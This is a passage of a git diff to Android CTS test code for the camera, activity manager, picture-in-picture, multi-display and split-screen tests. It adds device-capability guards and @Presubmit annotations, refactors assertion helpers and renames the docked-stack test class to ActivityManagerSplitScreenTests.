+        CaptureRequest request = prepareCaptureRequest();
+        SimpleCaptureCallback listener = new SimpleCaptureCallback();
+        startCapture(request, REPEATING, listener, mHandler);
+
+        // Validate images and capture results.
+        validateImage(SIZE, FORMAT, NUM_FRAME_VERIFIED, REPEATING);
+        validateCaptureResult(FORMAT, SIZE, listener, NUM_FRAME_VERIFIED);
+
+        // Discard free buffers.
+        mReader.discardFreeBuffers();
+
+        // Validate images and capture resulst again.
+        validateImage(SIZE, FORMAT, NUM_FRAME_VERIFIED, REPEATING);
+        validateCaptureResult(FORMAT, SIZE, listener, NUM_FRAME_VERIFIED);
+    }
+
     private void bufferFormatTestByCamera(int format, boolean repeating) throws Exception {
 
         Size[] availableSizes = mStaticInfo.getAvailableSizesForFormatChecked(format,
diff --git a/tests/framework/base/activitymanager/AndroidManifest.xml b/tests/framework/base/activitymanager/AndroidManifest.xml
index 5e82b64..4ca4a5d 100644
--- a/tests/framework/base/activitymanager/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/AndroidManifest.xml
@@ -55,6 +55,7 @@
         <activity android:name="android.server.am.lifecycle.ActivityLifecycleClientTestBase$FirstActivity" />
 
         <activity android:name="android.server.am.lifecycle.ActivityLifecycleClientTestBase$SecondActivity"/>
+
     </application>
 
     <instrumentation
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/AbstractLifecycleLogActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/AbstractLifecycleLogActivity.java
index 8e335a8..28e6576 100644
--- a/tests/framework/base/activitymanager/app/src/android/server/am/AbstractLifecycleLogActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AbstractLifecycleLogActivity.java
@@ -82,6 +82,12 @@
         Log.i(getTag(), "onDestroy");
     }
 
+    @Override
+    protected void onUserLeaveHint() {
+        super.onUserLeaveHint();
+        Log.i(getTag(), "onUserLeaveHint");
+    }
+
     protected abstract String getTag();
 
     protected void dumpConfiguration(Configuration config) {
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
index 85b5a4a..8282dc1 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
@@ -36,7 +36,7 @@
 import org.junit.Test;
 
 /**
- * Build: mmma -j32 cts/hostsidetests/services
+ * Build: mmma -j32 cts/tests/framework/base
  * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerActivityVisibilityTests
  */
 public class ActivityManagerActivityVisibilityTests extends ActivityManagerTestBase {
@@ -204,7 +204,9 @@
     private void performFinishActivityWithMoveTaskToBack(String finishPoint) throws Exception {
         // Make sure home activity is visible.
         launchHomeActivity();
-        mAmWmState.assertHomeActivityVisible(true /* visible */);
+        if (!noHomeScreen()) {
+            mAmWmState.assertHomeActivityVisible(true /* visible */);
+        }
 
         // Launch an activity that calls "moveTaskToBack" to finish itself.
         launchActivity(MOVE_TASK_TO_BACK_ACTIVITY_NAME, "finish_point", finishPoint);
@@ -224,8 +226,10 @@
         // BroadcastActivity finishes, so homeActivity is not visible afterwards
 
         // Home must be visible.
-        mAmWmState.waitForHomeActivityVisible();
-        mAmWmState.assertHomeActivityVisible(true /* visible */);
+        if (!noHomeScreen()) {
+            mAmWmState.waitForHomeActivityVisible();
+            mAmWmState.assertHomeActivityVisible(true /* visible */);
+        }
     }
 
     /**
@@ -236,7 +240,9 @@
     public void testReorderToFrontBackstack() throws Exception {
         // Start with home on top
         launchHomeActivity();
-        mAmWmState.assertHomeActivityVisible(true /* visible */);
+        if (!noHomeScreen()) {
+            mAmWmState.assertHomeActivityVisible(true /* visible */);
+        }
 
         // Launch the launching activity to the foreground
         launchActivity(LAUNCHING_ACTIVITY);
@@ -269,7 +275,9 @@
     public void testReorderToFrontChangingStack() throws Exception {
         // Start with home on top
         launchHomeActivity();
-        mAmWmState.assertHomeActivityVisible(true /* visible */);
+        if (!noHomeScreen()) {
+            mAmWmState.assertHomeActivityVisible(true /* visible */);
+        }
 
         // Launch the launching activity to the foreground
         launchActivity(LAUNCHING_ACTIVITY);
@@ -280,7 +288,9 @@
 
         // Return home
         launchHomeActivity();
-        mAmWmState.assertHomeActivityVisible(true /* visible */);
+        if (!noHomeScreen()) {
+            mAmWmState.assertHomeActivityVisible(true /* visible */);
+        }
         // Launch the launching activity from the alternate launching activity with reorder to
         // front.
 
@@ -307,6 +317,10 @@
      */
     @Test
     public void testNoHistoryActivityFinishedResumedActivityNotIdle() throws Exception {
+        if (noHomeScreen()) {
+            return;
+        }
+
         // Start with home on top
         launchHomeActivity();
 
@@ -381,6 +395,7 @@
     }
 
     @Test
+    @Presubmit
     public void testTurnScreenOnSingleTask() throws Exception {
         sleepDevice();
         String logSeparator = clearLogcat();
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
index 5573fff..8dc396c 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
@@ -464,6 +464,11 @@
      */
     private void requestOrientationInSplitScreen(int orientation, String activity)
             throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no multi-window support");
+            return;
+        }
+
         // Set initial orientation.
         setDeviceRotation(orientation);
 
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
index 6efbc87..af88f2c 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
@@ -210,7 +210,9 @@
                 TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
         assertAssistantStackExists();
         mAmWmState.waitForHomeActivityVisible();
-        mAmWmState.assertHomeActivityVisible(true);
+        if (!noHomeScreen()) {
+            mAmWmState.assertHomeActivityVisible(true);
+        }
 
         // Launch a fullscreen app and then launch the assistant and check to see that it is
         // also visible
@@ -237,7 +239,9 @@
         mAmWmState.waitForFocusedStack(WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
         assertAssistantStackExists();
         mAmWmState.waitForHomeActivityVisible();
-        mAmWmState.assertHomeActivityVisible(true);
+        if (!noHomeScreen()) {
+            mAmWmState.assertHomeActivityVisible(true);
+        }
 
         // Launch a fullscreen and docked app and then launch the assistant and check to see that it
         // is also visible
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
index 4fdabe0..97c4863 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
@@ -1751,6 +1751,8 @@
      */
     @Test
     public void testExternalDisplayActivityTurnPrimaryOff() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
         // Launch something on the primary display so we know there is a resumed activity there
         launchActivity(RESIZEABLE_ACTIVITY_NAME);
         waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
@@ -1781,6 +1783,8 @@
      */
     @Test
     public void testLaunchExternalDisplayActivityWhilePrimaryOff() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
         // Launch something on the primary display so we know there is a resumed activity there
         launchActivity(RESIZEABLE_ACTIVITY_NAME);
         waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
@@ -1809,6 +1813,8 @@
      */
     @Test
     public void testExternalDisplayToggleState() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
         final DisplayState newDisplay = createExternalVirtualDisplay(
                 false /* showContentWhenLocked */);
 
@@ -1837,6 +1843,8 @@
      */
     @Test
     public void testStackFocusSwitchOnTouchEventAfterKeyguard() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
         // Launch something on the primary display so we know there is a resumed activity there
         launchActivity(RESIZEABLE_ACTIVITY_NAME);
         waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
@@ -1902,6 +1910,8 @@
      * Tests that showWhenLocked works on a secondary display.
      */
     public void testSecondaryDisplayShowWhenLocked() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
         try {
             setLockCredential();
 
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
index 95a11fc..e19b9bf 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
@@ -41,12 +41,11 @@
 import org.junit.Test;
 import java.util.ArrayList;
 import java.util.List;
-import java.util.Stack;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
 /**
- * Build: mmma -j32 cts/hostsidetests/services
+ * Build: mmma -j32 cts/tests/framework/base
  * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerPinnedStackTests
  */
 public class ActivityManagerPinnedStackTests extends ActivityManagerTestBase {
@@ -238,9 +237,7 @@
         final WindowManagerState wmState = mAmWmState.getWmState();
 
         // Launch an activity into the pinned stack
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_TAP_TO_FINISH, "true");
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true", EXTRA_TAP_TO_FINISH, "true");
         mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
 
         // Get the display dimensions
@@ -324,8 +321,8 @@
         // Assert that we have entered PIP and that the aspect ratio is correct
         Rect pinnedStackBounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
                 WINDOWING_MODE_PINNED).getBounds();
-        assertTrue(floatEquals((float) pinnedStackBounds.width() / pinnedStackBounds.height(),
-                (float) num / denom));
+        assertFloatEquals((float) pinnedStackBounds.width() / pinnedStackBounds.height(),
+                (float) num / denom);
     }
 
     @Test
@@ -346,20 +343,10 @@
                 EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
                 EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
         assertPinnedStackExists();
-
-        // Hacky, but we need to wait for the enterPictureInPicture animation to complete and
-        // the resize to be called before we can check the pinned stack bounds
-        final boolean[] result = new boolean[1];
-        mAmWmState.waitForWithAmState((state) -> {
-            Rect pinnedStackBounds = state.getStandardStackByWindowingMode(
-                    WINDOWING_MODE_PINNED).getBounds();
-            boolean isValidAspectRatio = floatEquals(
-                    (float) pinnedStackBounds.width() / pinnedStackBounds.height(),
-                    (float) num / denom);
-            result[0] = isValidAspectRatio;
-            return isValidAspectRatio;
-        }, "Waiting for pinned stack to be resized");
-        assertTrue(result[0]);
+        waitForValidAspectRatio(num, denom);
+        Rect bounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+                WINDOWING_MODE_PINNED).getBounds();
+        assertFloatEquals((float) bounds.width() / bounds.height(), (float) num / denom);
     }
 
     @Test
@@ -413,8 +400,8 @@
         assertPinnedStackExists();
         Rect pinnedStackBounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
                 WINDOWING_MODE_PINNED).getBounds();
-        assertTrue(floatEquals((float) pinnedStackBounds.width() / pinnedStackBounds.height(),
-                (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR));
+        assertFloatEquals((float) pinnedStackBounds.width() / pinnedStackBounds.height(),
+                (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR);
     }
 
     @Test
@@ -500,19 +487,11 @@
         launchHomeActivity();
         assertPinnedStackExists();
 
-        // Hacky, but we need to wait for the auto-enter picture-in-picture animation to complete
-        // and before we can check the pinned stack bounds
-        final boolean[] result = new boolean[1];
-        mAmWmState.waitForWithAmState((state) -> {
-            Rect pinnedStackBounds = state.getStandardStackByWindowingMode(
-                    WINDOWING_MODE_PINNED).getBounds();
-            boolean isValidAspectRatio = floatEquals(
-                    (float) pinnedStackBounds.width() / pinnedStackBounds.height(),
-                    (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR);
-            result[0] = isValidAspectRatio;
-            return isValidAspectRatio;
-        }, "Waiting for pinned stack to be resized");
-        assertTrue(result[0]);
+        waitForValidAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
+        Rect bounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+                WINDOWING_MODE_PINNED).getBounds();
+        assertFloatEquals((float) bounds.width() / bounds.height(),
+                (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR);
     }
 
     @Test
@@ -540,6 +519,7 @@
                 ALWAYS_FOCUSABLE_PIP_ACTIVITY)));
     }
 
+    @Presubmit
     @Test
     public void testDisallowMultipleTasksInPinnedStack() throws Exception {
         if (!supportsPip()) return;
@@ -560,10 +540,8 @@
         assertTrue(pinnedStack.getTasks().get(0).mRealActivity.equals(getActivityComponentName(
                 PIP_ACTIVITY2)));
 
-        final ActivityStack fullScreenStack =
-                mAmWmState.getAmState().getStandardStackByWindowingMode(WINDOWING_MODE_FULLSCREEN);
-        assertTrue(fullScreenStack.getBottomTask().mRealActivity.equals(getActivityComponentName(
-                PIP_ACTIVITY)));
+        assertTrue(mAmWmState.getAmState().containsActivityInWindowingMode(
+                PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN));
     }
 
     @Test
@@ -573,9 +551,7 @@
         // Go home
         launchHomeActivity();
         // Launch an auto pip activity
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_REENTER_PIP_ON_EXIT, "true");
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true", EXTRA_REENTER_PIP_ON_EXIT, "true");
         assertPinnedStackExists();
 
         // Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
@@ -615,6 +591,7 @@
         mAmWmState.assertVisibility(TEST_ACTIVITY, true);
     }
 
+    @Presubmit
     @Test
     public void testRemovePipWithNoFullscreenStack() throws Exception {
         if (!supportsPip()) return;
@@ -630,10 +607,10 @@
         // fullscreen stack existed before)
         removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
         assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
-                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME,
-                true /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
     }
 
+    @Presubmit
     @Test
     public void testRemovePipWithVisibleFullscreenStack() throws Exception {
         if (!supportsPip()) return;
@@ -647,10 +624,10 @@
         // top fullscreen activity
         removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
         assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
-                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD,
-                false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
     }
 
+    @Presubmit
     @Test
     public void testRemovePipWithHiddenFullscreenStack() throws Exception {
         if (!supportsPip()) return;
@@ -666,8 +643,7 @@
         // stack, but that the home stack is still focused
         removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
         assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
-                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME,
-                false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
     }
 
     @Test
@@ -685,10 +661,10 @@
         // fullscreen stack existed before)
         executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
         assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
-                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME,
-                false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
     }
 
+    @Presubmit
     @Test
     public void testMovePipToBackWithVisibleFullscreenStack() throws Exception {
         if (!supportsPip()) return;
@@ -702,10 +678,10 @@
         // top fullscreen activity
         executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
         assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
-                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD,
-                false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
     }
 
+    @Presubmit
     @Test
     public void testMovePipToBackWithHiddenFullscreenStack() throws Exception {
         if (!supportsPip()) return;
@@ -721,8 +697,7 @@
         // stack, but that the home stack is still focused
         executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
         assertPinnedStackStateOnMoveToFullscreen(
-                PIP_ACTIVITY, WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME,
-                false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+                PIP_ACTIVITY, WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
     }
 
     @Test
@@ -828,6 +803,7 @@
         executeShellCommand("am task lock stop");
     }
 
+    @Presubmit
     @Test
     public void testConfigurationChangeOrderDuringTransition() throws Exception {
         if (!supportsPip()) return;
@@ -884,6 +860,7 @@
         setWindowTransitionAnimationDurationScale(1);
     }
 
+    @Presubmit
     @Test
     public void testStopBeforeMultiWindowCallbacksOnDismiss() throws Exception {
         if (!supportsPip()) return;
@@ -1203,26 +1180,14 @@
      * {@param expectTopTaskHasActivity} or {@param expectBottomTaskHasActivity} are set respectively.
      */
     private void assertPinnedStackStateOnMoveToFullscreen(String activityName, int windowingMode,
-            int activityType, boolean expectTopTaskHasActivity, boolean expectBottomTaskHasActivity)
-                    throws Exception {
+            int activityType) throws Exception {
         mAmWmState.waitForFocusedStack(windowingMode, activityType);
         mAmWmState.assertFocusedStack("Wrong focused stack", windowingMode, activityType);
         mAmWmState.waitForActivityState(activityName, STATE_STOPPED);
         assertTrue(mAmWmState.getAmState().hasActivityState(activityName, STATE_STOPPED));
+        assertTrue(mAmWmState.getAmState().containsActivityInWindowingMode(
+                activityName, WINDOWING_MODE_FULLSCREEN));
         assertPinnedStackDoesNotExist();
-
-        if (expectTopTaskHasActivity) {
-            ActivityTask topTask = mAmWmState.getAmState().getStandardStackByWindowingMode(
-                    WINDOWING_MODE_FULLSCREEN).getTopTask();
-            assertTrue(topTask.containsActivity(ActivityManagerTestBase.getActivityComponentName(
-                    activityName)));
-        }
-        if (expectBottomTaskHasActivity) {
-            ActivityTask bottomTask = mAmWmState.getAmState().getStandardStackByWindowingMode(
-                    WINDOWING_MODE_FULLSCREEN).getBottomTask();
-            assertTrue(bottomTask.containsActivity(ActivityManagerTestBase.getActivityComponentName(
-                    activityName)));
-        }
     }
 
     /**
@@ -1333,6 +1298,15 @@
         }, "Waiting for picture-in-picture activity callbacks...");
     }
 
+    private void waitForValidAspectRatio(int num, int denom) throws Exception {
+        // Hacky, but we need to wait for the auto-enter picture-in-picture animation to complete
+        // and before we can check the pinned stack bounds
+        mAmWmState.waitForWithAmState((state) -> {
+            Rect bounds = state.getStandardStackByWindowingMode(WINDOWING_MODE_PINNED).getBounds();
+            return floatEquals((float) bounds.width() / bounds.height(), (float) num / denom);
+        }, "waitForValidAspectRatio");
+    }
+
     /**
      * @return the window state for the given {@param activity}'s window.
      */
@@ -1347,8 +1321,14 @@
     /**
      * Compares two floats with a common epsilon.
      */
-    private boolean floatEquals(float f1, float f2) {
-        return Math.abs(f1 - f2) < FLOAT_COMPARE_EPSILON;
+    private void assertFloatEquals(float actual, float expected) {
+        if (!floatEquals(actual, expected)) {
+            fail(expected + " not equal to " + actual);
+        }
+    }
+
+    private boolean floatEquals(float a, float b) {
+        return Math.abs(a - b) < FLOAT_COMPARE_EPSILON;
     }
 
     /**
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDockedStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
similarity index 85%
rename from tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDockedStackTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
index 6a29bf4..738e028 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDockedStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
@@ -37,14 +37,15 @@
 import static org.junit.Assert.fail;
 
 import android.graphics.Rect;
+import android.platform.test.annotations.Presubmit;
 
 import org.junit.Test;
 
 /**
- * Build: mmma -j32 cts/tests/framework/base
- * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerDockedStackTests
+ * Build/Install/Run:
+ *     atest CtsActivityManagerDeviceTestCases:android.server.am.ActivityManagerSplitScreenTests
  */
-public class ActivityManagerDockedStackTests extends ActivityManagerTestBase {
+public class ActivityManagerSplitScreenTests extends ActivityManagerTestBase {
 
     private static final String TEST_ACTIVITY_NAME = "TestActivity";
     private static final String NON_RESIZEABLE_ACTIVITY_NAME = "NonResizeableActivity";
@@ -72,6 +73,7 @@
     }
 
     @Test
+    @Presubmit
     public void testStackList() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
             log("Skipping test: no split multi-window support");
@@ -104,6 +106,7 @@
     }
 
     @Test
+    @Presubmit
     public void testNonResizeableNotDocked() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
             log("Skipping test: no split multi-window support");
@@ -122,6 +125,7 @@
     }
 
     @Test
+    @Presubmit
     public void testLaunchToSide() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
             log("Skipping test: no split multi-window support");
@@ -139,6 +143,7 @@
     }
 
     @Test
+    @Presubmit
     public void testLaunchToSideMultiWindowCallbacks() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
             log("Skipping test: no split multi-window support");
@@ -147,27 +152,57 @@
 
         // Launch two activities, one docked, one adjacent
         launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
-        getLaunchActivityBuilder().setToSide(true).execute();
-        mAmWmState.computeState(new String[] {TEST_ACTIVITY_NAME});
+        getLaunchActivityBuilder()
+                .setToSide(true)
+                .setWaitForLaunched(true)
+                .execute();
         mAmWmState.assertContainsStack("Must contain fullscreen stack.",
                 WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
         mAmWmState.assertContainsStack("Must contain docked stack.",
                 WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
 
-        // Remove the docked stack, and ensure that
+        // Exit split-screen mode and ensure we only get 1 multi-window mode changed callback.
         final String logSeparator = clearLogcat();
         removeStacksInWindowingModes(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
+        final ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
                 TEST_ACTIVITY_NAME, logSeparator);
-        if (lifecycleCounts.mMultiWindowModeChangedCount != 1) {
-            fail(TEST_ACTIVITY_NAME + " has received "
-                    + lifecycleCounts.mMultiWindowModeChangedCount
-                    + " onMultiWindowModeChanged() calls, expecting 1");
-        }
+        assertEquals(1, lifecycleCounts.mMultiWindowModeChangedCount);
     }
 
     @Test
+    @Presubmit
+    public void testNoUserLeaveHintOnMultiWindowModeChanged() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no multi-window support");
+            return;
+        }
+
+        launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN);
+
+        // Move to docked stack.
+        String logSeparator = clearLogcat();
+        setActivityTaskWindowingMode(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
+                TEST_ACTIVITY_NAME, logSeparator);
+        assertEquals("mMultiWindowModeChangedCount",
+                1, lifecycleCounts.mMultiWindowModeChangedCount);
+        assertEquals("mUserLeaveHintCount", 0, lifecycleCounts.mUserLeaveHintCount);
+
+        // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
+        // will come up.
+        launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+
+        // Move activity back to fullscreen stack.
+        logSeparator = clearLogcat();
+        setActivityTaskWindowingMode(TEST_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN);
+        lifecycleCounts = waitForOnMultiWindowModeChanged(TEST_ACTIVITY_NAME, logSeparator);
+        assertEquals("mMultiWindowModeChangedCount",
+                1, lifecycleCounts.mMultiWindowModeChangedCount);
+        assertEquals("mUserLeaveHintCount", 0, lifecycleCounts.mUserLeaveHintCount);
+    }
+
+    @Test
+    @Presubmit
     public void testLaunchToSideAndBringToFront() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
             log("Skipping test: no split multi-window support");
@@ -177,13 +212,12 @@
         launchActivityInDockStack(LAUNCHING_ACTIVITY);
         final String[] waitForFirstVisible = new String[] {TEST_ACTIVITY_NAME};
         final String[] waitForSecondVisible = new String[] {NO_RELAUNCH_ACTIVITY_NAME};
-        mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
 
         // Launch activity to side.
         getLaunchActivityBuilder().setToSide(true).execute();
         mAmWmState.computeState(waitForFirstVisible);
-        int taskNumberInitial = mAmWmState.getAmState().getStandardStackByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+        int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
         mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
                 TEST_ACTIVITY_NAME);
 
@@ -191,8 +225,8 @@
         launchActivity(
                 NO_RELAUNCH_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
         mAmWmState.computeState(waitForSecondVisible);
-        int taskNumberCovered = mAmWmState.getAmState().getStandardStackByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+        int taskNumberCovered = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
         assertEquals("Fullscreen stack must have one task added.",
                 taskNumberInitial + 1, taskNumberCovered);
         mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
@@ -201,8 +235,8 @@
         // Launch activity that was first launched to side. It should be brought to front.
         getLaunchActivityBuilder().setToSide(true).execute();
         mAmWmState.computeState(waitForFirstVisible);
-        int taskNumberFinal = mAmWmState.getAmState().getStandardStackByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+        int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
         assertEquals("Task number in fullscreen stack must remain the same.",
                 taskNumberCovered, taskNumberFinal);
         mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
@@ -210,6 +244,7 @@
     }
 
     @Test
+    @Presubmit
     public void testLaunchToSideMultiple() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
             log("Skipping test: no split multi-window support");
@@ -224,8 +259,8 @@
         // Launch activity to side.
         getLaunchActivityBuilder().setToSide(true).execute();
         mAmWmState.computeState(waitForActivitiesVisible);
-        int taskNumberInitial = mAmWmState.getAmState().getStandardStackByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+        int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
         assertNotNull("Launched to side activity must be in fullscreen stack.",
                 mAmWmState.getAmState().getTaskByActivityName(
                         TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
@@ -233,8 +268,8 @@
         // Try to launch to side same activity again.
         getLaunchActivityBuilder().setToSide(true).execute();
         mAmWmState.computeState(waitForActivitiesVisible);
-        int taskNumberFinal = mAmWmState.getAmState().getStandardStackByWindowingMode(
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY).getTasks().size();
+        int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
         assertEquals("Task number mustn't change.", taskNumberInitial, taskNumberFinal);
         mAmWmState.assertFocusedActivity("Launched to side activity must remain in front.",
